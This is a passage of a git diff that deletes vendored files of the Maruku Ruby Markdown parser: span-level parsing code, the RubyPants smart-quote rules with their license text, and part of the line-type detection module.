-		src = CharSource.new(st, parent)
-		read_span(src, EscapedCharInText, [nil])
-	end
-		
-	# This is the main loop for reading span elements
-	#
-	# It's long, but not *complex* or difficult to understand.
-	#
-	#
-	def read_span(src, escaped, exit_on_chars, exit_on_strings=nil)
-		con = SpanContext.new
-		c = d = nil
-		while true
-			c = src.cur_char
-
-			# This is only an optimization which cuts 50% of the time used.
-			# (but you can't use a-zA-z in exit_on_chars)
-			if c && ((c>=?a && c<=?z) || ((c>=?A && c<=?Z)))
-				con.push_char src.shift_char
-				next
-			end
-
-			break if exit_on_chars && exit_on_chars.include?(c)
-			if exit_on_strings && exit_on_strings.any? {|x| src.cur_chars_are x}
-                # Special case: bold nested in italic
-                 break unless !(['*', '_'] & exit_on_strings).empty? && ['**','__'].include?(src.cur_chars(2))
-            end 
-			
-			# check if there are extensions
-			if check_span_extensions(src, con)
-				next
-			end
-			
-			case c = src.cur_char	
-			when ?\ # it's space (32)
-				if src.cur_chars_are "  \n"
-					src.ignore_chars(3)
-					con.push_element  md_br()
-					next
-				else
-					src.ignore_char
-					con.push_space 
-				end
-			when ?\n, ?\t 
-				src.ignore_char
-				con.push_space 
-			when ?`
-				read_inline_code(src,con)
-			when ?<
-				# It could be:
-				# 1) HTML "<div ..."
-				# 2) HTML "<!-- ..."
-				# 3) url "<http:// ", "<ftp:// ..."
-				# 4) email "<andrea@... ", "<mailto:andrea@..."
-				# 5) on itself! "a < b	"
-				# 6) Start of <<guillemettes>>
-				
-				case d = src.next_char
-					when ?<;  # guillemettes
-						src.ignore_chars(2)
-						con.push_char ?<
-						con.push_char ?<
-					when ?!; 
-						if src.cur_chars_are '<!--'
-							read_inline_html(src, con)
-						else 
-							con.push_char src.shift_char
-						end
-					when ?? 
-						read_xml_instr_span(src, con) 
-					when ?\ , ?\t 
-						con.push_char src.shift_char
-					else
-						if src.next_matches(/<mailto:/) or
-						   src.next_matches(/<[\w\.]+\@/)
-							read_email_el(src, con)
-						elsif src.next_matches(/<\w+:/)
-							read_url_el(src, con)
-						elsif src.next_matches(/<\w/)
-							#puts "This is HTML: #{src.cur_chars(20)}"
-							read_inline_html(src, con)
-						else 
-							#puts "This is NOT HTML: #{src.cur_chars(20)}"
-							con.push_char src.shift_char
-						end
-				end
-			when ?\\
-				d = src.next_char
-				if d == ?'
-					src.ignore_chars(2)
-					con.push_element md_entity('apos')
-				elsif d == ?"
-					src.ignore_chars(2)
-					con.push_element md_entity('quot')
-				elsif escaped.include? d
-					src.ignore_chars(2)
-					con.push_char d
-				else
-					con.push_char src.shift_char
-				end
-			when ?[
-				if markdown_extra? && src.next_char == ?^
-					read_footnote_ref(src,con)
-				elsif IgnoreWikiLinks && src.next_char == ?[
-					con.push_char src.shift_char
-					con.push_char src.shift_char
-				else
-					read_link(src, con)
-				end
-			when ?!
-				if src.next_char == ?[
-					read_image(src, con)
-				else
-					con.push_char src.shift_char
-				end
-			when ?&
-				# named references
-				if m = src.read_regexp(/\&([\w\d]+);/)
-					con.push_element md_entity(m[1])
-				# numeric
-				elsif m = src.read_regexp(/\&\#(x)?([\w\d]+);/)
-					num = m[1]  ? m[2].hex : m[2].to_i
-					con.push_element md_entity(num)
-				else
-					con.push_char src.shift_char
-				end
-			when ?*
-				if not src.next_char
-					maruku_error "Opening * as last char.", src, con
-					maruku_recover "Threating as literal"
-					con.push_char src.shift_char
-				else
-					follows = src.cur_chars(4)
-					if follows =~ /^\*\*\*[^\s\*]/
-						con.push_element read_emstrong(src,'***')
-					elsif follows  =~ /^\*\*[^\s\*]/
-						con.push_element read_strong(src,'**')
-					elsif follows =~ /^\*[^\s\*]/
-						con.push_element read_em(src,'*')
-					else # * is just a normal char
-						con.push_char src.shift_char
-					end
-				end
-			when ?_
-				if not src.next_char
-					maruku_error "Opening _ as last char", src, con
-					maruku_recover "Threating as literal", src, con
-					con.push_char src.shift_char
-				else
-					# we don't want "mod_ruby" to start an emphasis
-					# so we start one only if
-					# 1) there's nothing else in the span (first char)
-					# or 2) the last char was a space
-					# or 3) the current string is empty
-					#if con.elements.empty? ||
-					if con.is_end?
-						# also, we check the next characters
-						follows = src.cur_chars(4)
-						if  follows =~ /^\_\_\_[^\s\_]/
-							con.push_element read_emstrong(src,'___')
-						elsif follows  =~ /^\_\_[^\s\_]/
-							con.push_element read_strong(src,'__')
-						elsif follows =~ /^\_[^\s\_]/
-							con.push_element read_em(src,'_')
-						else # _ is just a normal char
-							con.push_char src.shift_char
-						end
-					else
-						# _ is just a normal char
-							con.push_char src.shift_char
-					end
-				end
-			when ?{ # extension
-				if [?#, ?., ?:].include? src.next_char
-					src.ignore_char # {
-					interpret_extension(src, con, [?}])
-					src.ignore_char # }
-				else
-					con.push_char src.shift_char
-				end
-			when nil
-				maruku_error( ("Unclosed span (waiting for %s"+
-				 "#{exit_on_strings.inspect})") % [
-						exit_on_chars ? "#{exit_on_chars.inspect} or" : ""],
-						src,con)
-				break
-			else # normal text
-				con.push_char src.shift_char
-			end # end case
-		end # end while true
-		con.push_string_if_present 
-
-		# Assign IAL to elements
-		merge_ial(con.elements, src, con)
-		
-		
-		# Remove leading space
-		if (s = con.elements.first).kind_of? String
-			if s[0] == ?\ then con.elements[0] = s[1, s.size-1] end
-			con.elements.shift if s.size == 0 
-		end
-		
-		# Remove final spaces
-		if (s = con.elements.last).kind_of? String
-			s.chop! if s[-1] == ?\ 
-			con.elements.pop if s.size == 0 
-		end
-		
-		educated = educate(con.elements)
-
-		educated
-	end
-
-
-	def read_xml_instr_span(src, con) 
-		src.ignore_chars(2) # starting <?
-
-		# read target <?target code... ?>
-		target = if m = src.read_regexp(/(\w+)/)
-			m[1]
-		else
-			''
-		end
-		
-		delim = "?>"
-		
-		code = 
-			read_simple(src, escaped=[], break_on_chars=[], 
-			break_on_strings=[delim])
-		
-		src.ignore_chars delim.size
-		
-		code = (code || "").strip
-		con.push_element md_xml_instr(target, code)
-	end
-
-	# Start: cursor on character **after** '{'
-	# End: curson on '}' or EOF
-	def interpret_extension(src, con, break_on_chars)
-		case src.cur_char
-		when ?:
-			src.ignore_char # :
-			extension_meta(src, con, break_on_chars)
-		when ?#, ?.
-			extension_meta(src, con, break_on_chars)
-		else
-			stuff = read_simple(src, escaped=[?}], break_on_chars, [])
-			if stuff =~ /^(\w+\s|[^\w])/
-				extension_id = $1.strip
-				if false
-				else
-					maruku_recover "I don't know what to do with extension '#{extension_id}'\n"+
-						"I will threat this:\n\t{#{stuff}} \n as meta-data.\n", src, con
-					extension_meta(src, con, break_on_chars)
-				end
-			else 
-				maruku_recover "I will threat this:\n\t{#{stuff}} \n as meta-data.\n", src, con
-				extension_meta(src, con, break_on_chars)
-			end
-		end
-	end
-
-	def extension_meta(src, con, break_on_chars)
-		if m = src.read_regexp(/([^\s\:\"\']+?):/)
-			name = m[1]
-			al = read_attribute_list(src, con, break_on_chars)
-#			puts "#{name}=#{al.inspect}"
-			self.doc.ald[name] = al
-		 	con.push md_ald(name, al)
-		else
-			al = read_attribute_list(src, con, break_on_chars)
-			self.doc.ald[name] = al
-			con.push md_ial(al)
-		end
-	end	
-
-	def read_url_el(src,con)
-		src.ignore_char # leading <
-		url = read_simple(src, [], [?>])
-		src.ignore_char # closing >
-		
-		con.push_element md_url(url)
-	end
-
-	def read_email_el(src,con)
-		src.ignore_char # leading <
-		mail = read_simple(src, [], [?>])
-		src.ignore_char # closing >
-		
-		address = mail.gsub(/^mailto:/,'')
-		con.push_element md_email(address)
-	end
-	
-	def read_url(src, break_on)
-		if [?',?"].include? src.cur_char 
-			error 'Invalid char for url', src
-		end
-		
-		url = read_simple(src, [], break_on)
-		if not url # empty url
-			url = ""
-		end
-		
-		if url[0] == ?< && url[-1] == ?>
-			url = url[1, url.size-2]
-		end
-		
-		if url.size == 0 
-			return nil
-		end
-		
-		url
-	end
-	
-	
-	def read_quoted_or_unquoted(src, con, escaped, exit_on_chars)
-		case src.cur_char
-		when ?', ?"
-			read_quoted(src, con)
-		else
-			read_simple(src, escaped, exit_on_chars)
-		end
-	end
-	
-	# Tries to read a quoted value. If stream does not
-	# start with ' or ", returns nil.
-	def read_quoted(src, con)
-		case src.cur_char
-			when ?', ?"
-				quote_char = src.shift_char # opening quote
-				string = read_simple(src, EscapedCharInQuotes, [quote_char])
-				src.ignore_char # closing quote
-				return string
-			else 
-#				puts "Asked to read quote from: #{src.cur_chars(10).inspect}"
-				return nil
-		end
-	end
-	
-	# Reads a simple string (no formatting) until one of break_on_chars, 
-	# while escaping the escaped.
-	# If the string is empty, it returns nil.
-	# Raises on error if the string terminates unexpectedly.
-#	# If eat_delim is true, and if the delim is not the EOF, then the delim
-#	# gets eaten from the stream.
-	def read_simple(src, escaped, exit_on_chars, exit_on_strings=nil)
-		text = ""
-		while true
-#			puts "Reading simple #{text.inspect}"
-			c = src.cur_char
-			if exit_on_chars && exit_on_chars.include?(c)
-#				src.ignore_char if eat_delim
-				break
-			end
-			
-			break if exit_on_strings && 
-				exit_on_strings.any? {|x| src.cur_chars_are x}
-			
-			case c
-			when nil
-				s= "String finished while reading (break on "+
-				"#{exit_on_chars.map{|x|""<<x}.inspect})"+
-				" already read: #{text.inspect}"
-				maruku_error s, src
-				maruku_recover "I boldly continue", src
-				break
-			when ?\\
-				d = src.next_char
-				if escaped.include? d
-					src.ignore_chars(2)
-					text << d
-				else
-					text << src.shift_char
-				end
-			else 
-				text << src.shift_char
-			end
-		end
-#		puts "Read simple #{text.inspect}"
-		text.empty? ? nil : text
-	end
-	
-	def read_em(src, delim)
-		src.ignore_char
-		children = read_span(src, EscapedCharInText, nil, [delim])
-		src.ignore_char
-		md_em(children)
-	end
-	
-	def read_strong(src, delim)
-		src.ignore_chars(2)
-		children = read_span(src, EscapedCharInText, nil, [delim])
-		src.ignore_chars(2)
-		md_strong(children)
-	end
-
-	def read_emstrong(src, delim)
-		src.ignore_chars(3)
-		children = read_span(src, EscapedCharInText, nil, [delim])
-		src.ignore_chars(3)
-		md_emstrong(children)
-	end
-	
-	SPACE = ?\ # = 32
-	
-#	R_REF_ID = Regexp.compile(/([^\]\s]*)(\s*\])/)
-#	R_REF_ID = Regexp.compile(/([^\]\s]*)(\s*\])/)
-	R_REF_ID = Regexp.compile(/([^\]]*?)\]/)
-	
-	# Reads a bracketed id "[refid]". Consumes also both brackets.
-	def read_ref_id(src, con)
-		src.ignore_char # [
-		src.consume_whitespace
-#		puts "Next: #{src.cur_chars(10).inspect}"
-		if m = src.read_regexp(R_REF_ID) 
-#			puts "Got: #{m[1].inspect} Ignored: #{m[2].inspect}"
-#			puts "Then: #{src.cur_chars(10).inspect}"
-			m[1]
-		else
-			nil
-		end
-	end
-	
-	def read_footnote_ref(src,con)
-		ref = read_ref_id(src,con)
-		con.push_element md_foot_ref(ref)
-	end
-	
-	def read_inline_html(src, con)
-		h = HTMLHelper.new
-		begin
-			# This is our current buffer in the context
-			next_stuff = src.current_remaining_buffer
-			
-			consumed = 0
-			while true
-				if consumed >= next_stuff.size
-					maruku_error "Malformed HTML starting at #{next_stuff.inspect}", src, con
-					break
-				end
-
-				h.eat_this next_stuff[consumed].chr; consumed += 1
-				break if h.is_finished? 
-			end
-			src.ignore_chars(consumed)
-			con.push_element md_html(h.stuff_you_read)
-			
-			#start = src.current_remaining_buffer
-			# h.eat_this start
-			# if not h.is_finished?
-			# 	error "inline_html: Malformed:\n "+
-			# 		"#{start.inspect}\n #{h.inspect}",src,con
-			# end
-			# 
-			# consumed = start.size - h.rest.size 
-			# if consumed > 0
-			# 	con.push_element md_html(h.stuff_you_read)
-			# 	src.ignore_chars(consumed)
-			# else
-			# 	puts "HTML helper did not work on #{start.inspect}"
-			# 	con.push_char src.shift_char
-			# end
-		rescue Exception => e
-			maruku_error "Bad html: \n" + 
-				(e.inspect+e.backtrace.join("\n")).gsub(/^/, '>'),
-				src,con
-			maruku_recover "I will try to continue after bad HTML.", src, con
-			con.push_char src.shift_char
-		end
-	end
-	
-	def read_inline_code(src, con)
-		# Count the number of ticks
-		num_ticks = 0
-		while src.cur_char == ?` 
-			num_ticks += 1
-			src.ignore_char
-		end
-		# We will read until this string
-		end_string = "`"*num_ticks
-
-		code = 
-			read_simple(src, escaped=[], break_on_chars=[], 
-				break_on_strings=[end_string])
-		
-#		puts "Now I expects #{num_ticks} ticks: #{src.cur_chars(10).inspect}"
-		src.ignore_chars num_ticks
-		
-		# Ignore at most one space
-		if num_ticks > 1 && code[0] == SPACE
-			code = code[1, code.size-1]
-		end
-		
-		# drop last space 
-		if num_ticks > 1 && code[-1] == SPACE
-			code = code[0,code.size-1]
-		end
-
-#		puts "Read `` code: #{code.inspect}; after: #{src.cur_chars(10).inspect} "
-		con.push_element md_code(code)
-	end
-	
-	def read_link(src, con)
-		# we read the string and see what happens
-		src.ignore_char # opening bracket
-		children = read_span(src, EscapedCharInText, [?]])
-		src.ignore_char # closing bracket
-
-		# ignore space
-		if src.cur_char == SPACE and 
-			(src.next_char == ?[ or src.next_char == ?( )
-			src.shift_char
-		end
-		
-		case src.cur_char
-		when ?(
-			src.ignore_char # opening (
-			src.consume_whitespace
-			url = read_url(src, [SPACE,?\t,?)])
-			if not url
-				url = '' # no url is ok
-			end
-			src.consume_whitespace
-			title = nil
-			if src.cur_char != ?) # we have a title
-				quote_char = src.cur_char
-				title = read_quoted(src,con)
-				
-				if not title
-					maruku_error 'Must quote title',src,con
-				else
-					# Tries to read a title with quotes: ![a](url "ti"tle")
-					# this is the most ugly thing in Markdown
-					if not src.next_matches(/\s*\)/)
-						# if there is not a closing par ), then read
-						# the rest and guess it's title with quotes
-						rest = read_simple(src, escaped=[], break_on_chars=[?)], 
-							break_on_strings=[])
-						# chop the closing char
-						rest.chop!
-						title << quote_char << rest
-					end
-				end
-			end
-			src.consume_whitespace
-			closing = src.shift_char # closing )
-			if closing != ?)
-				maruku_error 'Unclosed link',src,con
-				maruku_recover "No closing ): I will not create"+
-				" the link for #{children.inspect}", src, con
-				con.push_elements children
-				return
-			end
-			con.push_element md_im_link(children,url, title)
-		when ?[ # link ref
-			ref_id = read_ref_id(src,con)
-			if ref_id
-				if ref_id.size == 0
-					ref_id = sanitize_ref_id(children.to_s)
-				else
-					ref_id = sanitize_ref_id(ref_id)
-				end	
-				con.push_element md_link(children, ref_id)
-			else 
-				maruku_error "Could not read ref_id", src, con
-				maruku_recover "I will not create the link for "+
-					"#{children.inspect}", src, con
-				con.push_elements children
-				return
-			end
-		else # empty [link]
-			id = sanitize_ref_id(children.to_s) #. downcase.gsub(' ','_')
-			con.push_element md_link(children, id)
-		end
-	end # read link
-
-	def read_image(src, con)
-		src.ignore_chars(2) # opening "!["
-		alt_text = read_span(src, EscapedCharInText, [?]])
-		src.ignore_char # closing bracket
-		# ignore space
-		if src.cur_char == SPACE and 
-			(src.next_char == ?[ or src.next_char == ?( )
-			src.ignore_char
-		end
-		case src.cur_char
-		when ?(
-			src.ignore_char # opening (
-			src.consume_whitespace
-			url = read_url(src, [SPACE,?\t,?)])
-			if not url
-				error "Could not read url from #{src.cur_chars(10).inspect}",
-					src,con
-			end
-			src.consume_whitespace
-			title = nil
-			if src.cur_char != ?) # we have a title
-				quote_char = src.cur_char
-				title = read_quoted(src,con)
-				if not title
-					maruku_error 'Must quote title',src,con
-				else				
-					# Tries to read a title with quotes: ![a](url "ti"tle")
-					# this is the most ugly thing in Markdown
-					if not src.next_matches(/\s*\)/)
-						# if there is not a closing par ), then read
-						# the rest and guess it's title with quotes
-						rest = read_simple(src, escaped=[], break_on_chars=[?)], 
-							break_on_strings=[])
-						# chop the closing char
-						rest.chop!
-						title << quote_char << rest
-					end
-				end
-			end
-			src.consume_whitespace
-			closing = src.shift_char # closing )
-			if closing != ?)
-				error( ("Unclosed link: '"<<closing<<"'")+
-					" Read url=#{url.inspect} title=#{title.inspect}",src,con)
-			end
-			con.push_element md_im_image(alt_text, url, title)
-		when ?[ # link ref
-			ref_id = read_ref_id(src,con)
-			if not ref_id # TODO: check around
-				error('Reference not closed.', src, con)
-				ref_id = ""
-			end
-			if ref_id.size == 0
-				ref_id =  alt_text.to_s
-			end
-
-			ref_id = sanitize_ref_id(ref_id)
-
-			con.push_element md_image(alt_text, ref_id)
-		else # no stuff
-			ref_id =  sanitize_ref_id(alt_text.to_s)
-			con.push_element md_image(alt_text, ref_id)
-		end
-	end # read link
-
-
-	class SpanContext_Array 
-		include MaRuKu::Strings
-	
-		# Read elements
-		attr_accessor :elements
-	
-		def initialize
-			@elements = []
-			@cur_string_array = []
-		end
-	
-		def push_element(e)
-			raise "Only MDElement and String, please. You pushed #{e.class}: #{e.inspect} " if
-			 not (e.kind_of?(String) or e.kind_of?(MDElement))
-		
-			push_string_if_present
-			@elements << e
-			nil
-		end
-		alias push push_element
-		
-		def push_elements(a)
-			for e in a 
-				if e.kind_of? String
-					@cur_string_array << e # e.each_byte do |b| push_char b end
-				else
-					push_element e
-				end
-			end
-		end
-		
-		def is_end?
-		   @cur_string_array.empty? || @cur_string_array.last =~ /\s\Z/
-		end
-		
-		def push_string_if_present
-			unless @cur_string_array.empty?
-				@elements << @cur_string_array.join
-				@cur_string_array = []
-			end
-			nil
-		end
-	
-		def push_char(c)
-			@cur_string_array << c.chr 
-			nil
-		end
-	
-		# push space into current string if
-		# there isn't one
-		def push_space
-			last = @cur_string_array.last
-			@cur_string_array << ' ' unless last =~ /\ \Z/ 
-		end
-	
-		def describe
-			lines = @elements.map{|x| x.inspect}.join("\n")
-			s = "Elements read in span: \n" +
-			lines.gsub(/^/, ' -')+"\n"
-		
-			s += "Current string: \n  #{@cur_string_array.join.inspect}\n" unless @cur_string_array.empty?
-			s
-		end
-	end # SpanContext_Array
-	
-	class SpanContext_String 
-		include MaRuKu::Strings
-	
-		# Read elements
-		attr_accessor :elements
-	
-		def initialize
-			@elements = []
-			@cur_string = ''
-		end
-	
-		def push_element(e)
-			raise "Only MDElement and String, please. You pushed #{e.class}: #{e.inspect} " if
-			 not (e.kind_of?(String) or e.kind_of?(MDElement))
-		
-			push_string_if_present
-			@elements << e
-			nil
-		end
-		alias push push_element
-		
-		def push_elements(a)
-			for e in a 
-				if e.kind_of? String
-					@cur_string << e # e.each_byte do |b| push_char b end
-				else
-					push_element e
-				end
-			end
-		end
-		
-		def is_end?
-		   @cur_string.empty? || @cur_string =~ /\s\Z/
-		end
-		
-		def push_string_if_present
-			unless @cur_string.empty?
-				@elements << @cur_string
-				@cur_string = ''
-			end
-			nil
-		end
-	
-		def push_char(c)
-			@cur_string << c 
-			nil
-		end
-	
-		# push space into current string if
-		# there isn't one
-		def push_space
-			last = @cur_string[@cur_string.length - 1]
-			@cur_string << ' ' unless last == ?\  
-		end
-	
-		def describe
-			lines = @elements.map{|x| x.inspect}.join("\n")
-			s = "Elements read in span: \n" +
-			lines.gsub(/^/, ' -')+"\n"
-		
-			s += "Current string: \n  #{@cur_string.inspect}\n" unless  @cur_string.empty?
-			s
-		end
-	end # SpanContext_String
-
-	
-end end end end # module MaRuKu; module In; module Markdown; module SpanLevelParser
-
diff --git a/vendor/plugins/maruku/lib/maruku/input/rubypants.rb b/vendor/plugins/maruku/lib/maruku/input/rubypants.rb
deleted file mode 100644
index 02b52abf..00000000
--- a/vendor/plugins/maruku/lib/maruku/input/rubypants.rb
+++ /dev/null
@@ -1,225 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-#
-# NOTA BENE: 
-#
-# The following algorithm is a rip-off of RubyPants written by 
-# Christian Neukirchen. 
-#
-# RubyPants is a Ruby port of SmartyPants written by John Gruber.
-#
-# This file is distributed under the GPL, which I guess is compatible
-# with the terms of the RubyPants license.
-#
-# -- Andrea Censi
-
-
-# = RubyPants -- SmartyPants ported to Ruby
-#
-# Ported by Christian Neukirchen <mailto:chneukirchen@gmail.com>
-#   Copyright (C) 2004 Christian Neukirchen
-#
-# Incooporates ideas, comments and documentation by Chad Miller
-#   Copyright (C) 2004 Chad Miller
-#
-# Original SmartyPants by John Gruber
-#   Copyright (C) 2003 John Gruber
-#
-
-#
-# = RubyPants -- SmartyPants ported to Ruby
-#
-#
-# [snip]
-#
-# == Authors
-# 
-# John Gruber did all of the hard work of writing this software in
-# Perl for Movable Type and almost all of this useful documentation.
-# Chad Miller ported it to Python to use with Pyblosxom.
-#
-# Christian Neukirchen provided the Ruby port, as a general-purpose
-# library that follows the *Cloth API.
-# 
-#
-# == Copyright and License
-# 
-# === SmartyPants license:
-# 
-# Copyright (c) 2003 John Gruber
-# (http://daringfireball.net)
-# All rights reserved.
-# 
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions
-# are met:
-# 
-# * Redistributions of source code must retain the above copyright
-#   notice, this list of conditions and the following disclaimer.
-# 
-# * Redistributions in binary form must reproduce the above copyright
-#   notice, this list of conditions and the following disclaimer in
-#   the documentation and/or other materials provided with the
-#   distribution.
-# 
-# * Neither the name "SmartyPants" nor the names of its contributors
-#   may be used to endorse or promote products derived from this
-#   software without specific prior written permission.
-# 
-# This software is provided by the copyright holders and contributors
-# "as is" and any express or implied warranties, including, but not
-# limited to, the implied warranties of merchantability and fitness
-# for a particular purpose are disclaimed. In no event shall the
-# copyright owner or contributors be liable for any direct, indirect,
-# incidental, special, exemplary, or consequential damages (including,
-# but not limited to, procurement of substitute goods or services;
-# loss of use, data, or profits; or business interruption) however
-# caused and on any theory of liability, whether in contract, strict
-# liability, or tort (including negligence or otherwise) arising in
-# any way out of the use of this software, even if advised of the
-# possibility of such damage.
-# 
-# === RubyPants license
-# 
-# RubyPants is a derivative work of SmartyPants and smartypants.py.
-# 
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions
-# are met:
-# 
-# * Redistributions of source code must retain the above copyright
-#   notice, this list of conditions and the following disclaimer.
-# 
-# * Redistributions in binary form must reproduce the above copyright
-#   notice, this list of conditions and the following disclaimer in
-#   the documentation and/or other materials provided with the
-#   distribution.
-# 
-# This software is provided by the copyright holders and contributors
-# "as is" and any express or implied warranties, including, but not
-# limited to, the implied warranties of merchantability and fitness
-# for a particular purpose are disclaimed. In no event shall the
-# copyright owner or contributors be liable for any direct, indirect,
-# incidental, special, exemplary, or consequential damages (including,
-# but not limited to, procurement of substitute goods or services;
-# loss of use, data, or profits; or business interruption) however
-# caused and on any theory of liability, whether in contract, strict
-# liability, or tort (including negligence or otherwise) arising in
-# any way out of the use of this software, even if advised of the
-# possibility of such damage.
-# 
-#
-# == Links
-#
-# John Gruber:: http://daringfireball.net
-# SmartyPants:: http://daringfireball.net/projects/smartypants
-#
-# Chad Miller:: http://web.chad.org
-#
-# Christian Neukirchen:: http://kronavita.de/chris
-
-
-module MaRuKu; module In; module Markdown; module SpanLevelParser
-	Punct_class = '[!"#\$\%\'()*+,\-.\/:;<=>?\@\[\\\\\]\^_`{|}~]'
-	Close_class = %![^\ \t\r\n\\[\{\(\-]!
-
-	Rules = [
-		[/---/,   :mdash          ],
-		[/--/,    :ndash          ],
-		['...',   :hellip         ],
-		['. . .', :hellip         ],
-		["``",    :ldquo          ],
-		["''",    :rdquo          ],
-		[/<<\s/,  [:laquo, :nbsp] ],
-		[/\s>>/,  [:nbsp, :raquo] ],
-		[/<</,    :laquo          ],
-		[/>>/,    :raquo          ],
-		
-#		def educate_single_backticks(str)
-#		["`", :lsquo]
-#		["'", :rsquo]
-
-		# Special case if the very first character is a quote followed by
-		# punctuation at a non-word-break. Close the quotes by brute
-		# force:
-		[/^'(?=#{Punct_class}\B)/, :rsquo],
-		[/^"(?=#{Punct_class}\B)/, :rdquo],
-		# Special case for double sets of quotes, e.g.:
-		#   <p>He said, "'Quoted' words in a larger quote."</p>
-		[/"'(?=\w)/, [:ldquo, :lsquo]    ],
-		[/'"(?=\w)/, [:lsquo, :ldquo]    ],
-		# Special case for decade abbreviations (the '80s):
-		[/'(?=\d\ds)/, :rsquo            ],
-		# Get most opening single quotes:
-		[/(\s)'(?=\w)/, [:one, :lsquo]   ],
-		# Single closing quotes:
-		[/(#{Close_class})'/, [:one, :rsquo]],
-		[/'(\s|s\b|$)/, [:rsquo, :one]],
-		# Any remaining single quotes should be opening ones:
-		[/'/, :lsquo],
-		# Get most opening double quotes:
-		[/(\s)"(?=\w)/, [:one, :ldquo]],
-		# Double closing quotes:
-		[/(#{Close_class})"/, [:one, :rdquo]],
-		[/"(\s|s\b|$)/, [:rdquo, :one]],
-		# Any remaining quotes should be opening ones:
-		[/"/, :ldquo]
-	].
-	map{|reg, subst| # People should do the thinking, machines should do the work.
-		reg = Regexp.new(Regexp.escape(reg)) if not reg.kind_of? Regexp
-		subst = [subst] if not subst.kind_of?Array
-		[reg, subst]}
-
-# note: input will be destroyed
-def apply_one_rule(reg, subst, input)
-	output = []
-	while first = input.shift
-		if first.kind_of?(String) && (m = reg.match(first))
-			output.push    m. pre_match if m. pre_match.size > 0
-			 input.unshift m.post_match if m.post_match.size > 0
-			subst.reverse.each do |x|
-				input.unshift( x == :one ? m[1] : md_entity(x.to_s) ) end
-		else
-			output.push first
-		end
-	end
-	return output
-end
-	
-def educate(elements)
-	Rules.each do |reg, subst|
-		elements = apply_one_rule(reg, subst, elements)
-	end
-	# strips empty strings
-	elements.delete_if {|x| x.kind_of?(String) && x.size == 0}
-	final = []
-	# join consecutive strings
-	elements.each do |x|
-		if x.kind_of?(String) && final.last.kind_of?(String)
-			final.last << x
-		else
-			final << x
-		end
-	end
-	return final
-end
-
-end end end end
diff --git a/vendor/plugins/maruku/lib/maruku/input/type_detection.rb b/vendor/plugins/maruku/lib/maruku/input/type_detection.rb
deleted file mode 100644
index 0769cff8..00000000
--- a/vendor/plugins/maruku/lib/maruku/input/type_detection.rb
+++ /dev/null
@@ -1,145 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-class String
-	include MaRuKu::Strings
-	def md_type()
-		@md_type ||= line_md_type(self)
-	end
-end
-
-class NilClass
-	def md_type() nil end
-	
-end
-
-# This code does the classification of lines for block-level parsing.
-module MaRuKu; module Strings
-	
-	def line_md_type(l)
-		# The order of evaluation is important (:text is a catch-all)
-		return :text   if l =~ /^[a-zA-Z]/
-		return :code             if number_of_leading_spaces(l)>=4
-		return :empty    if l =~ /^\s*$/
-		return :footnote_text    if l =~ FootnoteText
-		return :ref_definition   if l =~ LinkRegex or l=~ IncompleteLink
-		return :abbreviation     if l =~ Abbreviation
-		return :definition       if l =~ Definition
-		# I had a bug with emails and urls at the beginning of the 
-		# line that were mistaken for raw_html
-		return :text if l=~ /^[ ]{0,3}#{EMailAddress}/
-		return :text if l=~ /^[ ]{0,3}<http:/
-		# raw html is like PHP Markdown Extra: at most three spaces before
-		return :xml_instr if l =~ %r{^\s*<\?}
-		return :raw_html if l =~ %r{^[ ]?[ ]?[ ]?</?\s*\w+}
-		return :raw_html if l =~ %r{^[ ]?[ ]?[ ]?<\!\-\-}
-		return :header1  if l =~ /^(=)+/ 
-		return :header2  if l =~ /^([-\s])+$/ 
-		return :header3  if l =~ /^(#)+\s*\S+/ 
-		# at least three asterisks on a line, and only whitespace
-		return :hrule    if l =~ /^(\s*\*\s*){3,1000}$/ 
-		return :hrule    if l =~ /^(\s*-\s*){3,1000}$/ # or hyphens
-		return :hrule    if l =~ /^(\s*_\s*){3,1000}$/ # or underscores	
-		# Something is wrong with how we parse lists! :-(
-		#return :ulist    if l =~ /^[ ]{0,3}([\*\-\+])\s+.*\w+/
-		#return :olist    if l =~ /^[ ]{0,3}\d+\..*\w+/
-		return :ulist    if l =~ /^[ ]{0,1}([\*\-\+])\s+.*/
-		return :olist    if l =~ /^[ ]{0,1}\d+\.\s+.*/
-		return :quote    if l =~ /^>/
-		return :metadata if l =~ /^@/
-#		if @@new_meta_data?
-			return :ald   if l =~ AttributeDefinitionList
-			return :ial   if l =~ InlineAttributeList
-#		end
-#		return :equation_end if l =~ EquationEnd
-		return :text # else, it's just text
-	end
-
-		
-	# $1 = id   $2 = attribute list
-	AttributeDefinitionList = /^\s{0,3}\{([\w\d\s]+)\}:\s*(.*?)\s*$/
-	# 
-	InlineAttributeList = /^\s{0,3}\{([:#\.].*?)\}\s*$/
-	# Example:
-	#     ^:blah blah
-	#     ^: blah blah
-	#     ^   : blah blah
-	Definition = %r{ 
-		^ # begin of line
-		[ ]{0,3} # up to 3 spaces
-		: # colon
-		\s* # whitespace
-		(\S.*) # the text    = $1
-		$ # end of line
-	}x
-
-	# Example:
-	#     *[HTML]: Hyper Text Markup Language
